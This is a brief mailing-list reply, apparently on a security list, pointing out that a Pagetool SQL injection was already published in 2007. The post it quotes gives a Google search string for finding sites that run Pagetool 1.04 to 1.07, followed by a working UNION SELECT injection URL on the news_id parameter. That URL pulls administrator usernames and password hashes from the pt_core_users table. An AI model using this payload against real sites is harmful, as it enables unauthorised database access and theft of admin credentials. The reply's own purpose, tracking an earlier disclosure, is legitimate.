Discovered in June '07:

http://packetstormsecurity.org/0706-exploits/pagetool-sql.txt

On Sun, Feb 24, 2008 at 10:00:41AM -0000, turkish-warrorr (at) hotmail (dot) com [email concealed] wrote:
> Google arama :
> www.1923turk.org
>
> Turkishwariorr
>
> Powered by Pagetool Ver 1.04
> Powered by Pagetool Ver 1.07
> Powered by Pagetool Ver 1.05
> Powered by Pagetool Ver 1.06
>
>
>
> Site sonuna :
>
> index.php?name=pagetool_news&news_id=-1/**/UNION/**/ALL/**/SELECT/**/CON
CAT(username,0x3a,passwd),2,3,4,5/**/FROM/**/pt_core_users/**/WHERE/**/g
roups/**/LIKE/**/0x2561646D696E25/*

[ reply ]